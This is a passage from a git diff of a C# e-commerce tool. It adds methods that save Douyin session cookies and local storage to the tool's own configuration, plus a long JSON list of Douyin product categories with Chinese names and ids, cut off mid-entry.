NaiBa.Util.Helper.ConfigHelper.SaveConfig("dou_user_cookies", GlobalConfig.DouUserCookies); + } + + public static void SaveDouBuyinCookies() + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig("dou_buyin_cookies", GlobalConfig.DouBuyinCookies); + } + + public static void SaveDouLocalStorage() + { + if (GlobalConfig.dicLocalStorage != null) + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("dou_local_Storage", GlobalConfig.dicLocalStorage); + } + + public static void SaveDouLocalDetailStorage() + { + if (GlobalConfig.dicLocalDetailStorage != null) + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("dou_local_detail_Storage", GlobalConfig.dicLocalDetailStorage); + } + + public static void SaveViolateRuleNameSelectList() + { + if (ViolateRuleParam.LstViolateRuleNameSelect != null) + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("violate_rule_name_select", ViolateRuleParam.LstViolateRuleNameSelect); + } + } +} diff --git a/TEMUKJD/Static/DyCategorys.txt b/TEMUKJD/Static/DyCategorys.txt new file mode 100644 index 0000000..791c7dc --- /dev/null +++ b/TEMUKJD/Static/DyCategorys.txt @@ -0,0 +1 @@ +[{"id":0,"name":"全部分类","parent_cid":-1,"level":0,"enable":0,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20005,"name":"女装","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20009,"name":"男装","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20062,"name":"内衣裤袜","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20093,"name":"服饰配件/皮带/帽子/围巾","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":32603,"name":"保证金","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20006,"name":"女鞋","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20010,"name":"男鞋","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20011,"name":"箱包","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20026,"name":"户外/登山/野营/旅行用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20027,"name":"运动/瑜伽/健身/球迷用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20046,"name":"运动鞋","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20051,"name":"电动车/配件/交通工具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20052,"name":"运动包/户外包/配件","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20053,"name":"运动服/休闲服装","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20054,"name":"自行车/骑行装备/零配件","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20003,"name":"打火机/瑞士军刀/眼镜","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20047,"name":"钟表类","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20080,"name":"时尚饰品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20021,"name":"陶瓷/紫砂/建盏/茶周边","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20023,"name":"翡翠/和田玉/琥珀蜜蜡/其他玉石","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20110,"name":"特色手工艺","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33691,"name":"木作/书画/钱币/收藏","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33692,"name":"珠宝/文玩/收藏品(定制专用)","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34020,"name":"黄金/彩宝/钻石/珍珠","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20029,"name":"彩妆/香水/美妆工具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20038,"name":"美容/个护仪器","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20085,"name":"美容护肤","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32617,"name":"美容美体医疗器械","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20056,"name":"个人护理","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20115,"name":"洗护清洁剂/卫生巾/纸/香薰","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32606,"name":"计生用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32621,"name":"隐形眼镜/护理液","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20004,"name":"茶","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20012,"name":"酒类","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20017,"name":"咖啡/麦片/冲饮","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20018,"name":"零食/坚果/特产","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20086,"name":"食品卡券","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20104,"name":"粮油米面/南北干货/调味品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20109,"name":"保健食品/膳食营养补充食品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20120,"name":"传统滋补营养品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20008,"name":"生鲜","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20016,"name":"农机/农具/农膜","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20037,"name":"畜牧/养殖物资","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20063,"name":"农用物资","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20107,"name":"鲜花速递/花卉仿真/绿植园艺","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20028,"name":"奶粉/辅食/营养品/零食","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20032,"name":"童装/婴儿装/亲子装","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20033,"name":"童鞋/婴儿鞋/亲子鞋","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20041,"name":"宠物/宠物食品及用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20055,"name":"孕妇装/孕产妇用品/营养","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20067,"name":"婴童尿裤","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20068,"name":"婴童用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20019,"name":"模玩/动漫/周边/cos/桌游","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20020,"name":"乐器/吉他/钢琴/配件","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20025,"name":"玩具/童车/益智/积木/模型","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20015,"name":"书籍/杂志/报纸","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20069,"name":"学习用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20078,"name":"教育音像","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20079,"name":"数字阅读","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20090,"name":"节庆用品/礼品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20000,"name":"3C数码配件","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20001,"name":"DIY电脑","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20007,"name":"手机","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20024,"name":"电玩/配件/游戏/攻略","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20044,"name":"大家电","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20049,"name":"数码存储设备","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20075,"name":"影音电器","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20081,"name":"智能设备","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20087,"name":"平板电脑/MID","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20095,"name":"办公用品/办公设备/耗材/相关服务","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20098,"name":"电脑硬件/显示器/电脑周边","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20100,"name":"电子教育","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20101,"name":"网络设备/网络相关","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20102,"name":"摄影/摄像","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20108,"name":"品牌台机/品牌一体机/服务器","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20111,"name":"笔记本电脑","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20121,"name":"电子元器件市场","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20013,"name":"五金/工具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20014,"name":"电子/电工","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20030,"name":"清洗/食品/商业设备","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20035,"name":"厨房/烹饪用具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20036,"name":"商业/办公家具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20040,"name":"家庭/个人清洁工具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20048,"name":"餐饮具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20050,"name":"摩托车/装备/配件","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20059,"name":"住宅家具","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20061,"name":"全屋定制","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20065,"name":"厨房电器","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20066,"name":"基础建材","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20070,"name":"家居饰品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20071,"name":"家装主材","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20072,"name":"居家布艺","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20073,"name":"居家日用","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20074,"name":"床上用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20076,"name":"收纳整理","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20082,"name":"机械设备","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20083,"name":"生活电器","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20092,"name":"装修设计/施工/监理","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20094,"name":"汽车用品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20099,"name":"个人保健/护理电器","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20114,"name":"汽车零配件","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20116,"name":"家装灯饰光源","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20122,"name":"金属材料及制品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":32626,"name":"保健/护理/理疗器械","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34578,"name":"医疗保健","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20057,"name":"二手百货","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32631,"name":"二手3C数码","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32988,"name":"二手奢侈品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20031,"name":"移动/联通/电信充值中心","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20096,"name":"手机号码/套餐/增值业务","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20097,"name":"游戏服务","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20118,"name":"生活娱乐充值","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20119,"name":"网络游戏点卡","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31983,"name":"保险","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20034,"name":"出行与交通","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20042,"name":"兑换卡","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20077,"name":"教育培训","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20103,"name":"景点门票/周边游","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20105,"name":"度假线路/签证送关/旅游服务","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20106,"name":"特价酒店/特色客栈/公寓旅馆","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20112,"name":"线下消费卡","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20113,"name":"购物提货券","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20117,"name":"本地生活服务","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31920,"name":"房产","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31928,"name":"电影/演出/赛事","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32625,"name":"医疗及健康服务","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32431,"name":"奢侈品","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33711,"name":"汽车售后服务","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34091,"name":"新车","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34092,"name":"二手车","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20219,"name":"半身裙","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20248,"name":"背心吊带","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20179,"name":"衬衫","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20245,"name":"大码女装","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20178,"name":"短裤","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20220,"name":"短外套","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20182,"name":"风衣","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20215,"name":"婚纱/旗袍/礼服","parent_cid":20005,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20180,"name":"裤子","parent_cid":20005,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20242,"name":"蕾丝衫/雪纺衫","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20240,"name":"连体衣/裤","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20224,"name":"连衣裙","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20183,"name":"马夹","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20246,"name":"毛呢外套","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20175,"name":"毛衣","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20247,"name":"毛针织衫","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20211,"name":"棉衣/棉服","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20174,"name":"抹胸","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20176,"name":"皮草","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20177,"name":"皮衣","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20169,"name":"POLO衫","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20243,"name":"设计师/潮牌女装","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20217,"name":"唐装/民族服装/舞台服装","parent_cid":20005,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20218,"name":"套装/学生校服/工作制服","parent_cid":20005,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20171,"name":"T恤","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20210,"name":"卫衣/绒衫","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20181,"name":"西装","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20221,"name":"羊毛衫","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20222,"name":"羊绒衫","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20223,"name":"羽绒服","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20265,"name":"中老年女装","parent_cid":20005,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20212,"name":"背心/马甲","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20199,"name":"衬衫","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20252,"name":"大码男装","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20198,"name":"短裤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20201,"name":"风衣","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20191,"name":"夹克","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20253,"name":"毛呢大衣","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20194,"name":"棉裤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20193,"name":"棉衣","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20254,"name":"民族服装","parent_cid":20009,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20230,"name":"牛仔裤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20195,"name":"皮草","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20197,"name":"皮裤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20196,"name":"皮衣","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20170,"name":"Polo衫","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20244,"name":"设计师/潮牌男装","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20192,"name":"套装","parent_cid":20009,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20172,"name":"T恤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20190,"name":"卫裤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20189,"name":"卫衣","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20200,"name":"西服","parent_cid":20009,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20229,"name":"休闲裤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20231,"name":"羊毛衫","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20232,"name":"羊绒衫","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20233,"name":"羽绒服","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20234,"name":"羽绒裤","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20241,"name":"针织衫/毛衣","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20266,"name":"中老年男装","parent_cid":20009,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21232,"name":"保暖内衣","parent_cid":20062,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21028,"name":"吊带/背心","parent_cid":20062,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21087,"name":"吊袜带","parent_cid":20062,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20943,"name":"内裤","parent_cid":20062,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21233,"name":"内衣配件","parent_cid":20062,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21234,"name":"女士内衣","parent_cid":20062,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21235,"name":"少女文胸","parent_cid":20062,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20944,"name":"睡衣","parent_cid":20062,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21088,"name":"塑身衣","parent_cid":20062,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20946,"name":"袜子","parent_cid":20062,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21506,"name":"耳套","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21515,"name":"防晒护具","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32657,"name":"防晒护具","parent_cid":20093,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21522,"name":"婚纱礼服配件","parent_cid":20093,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21512,"name":"口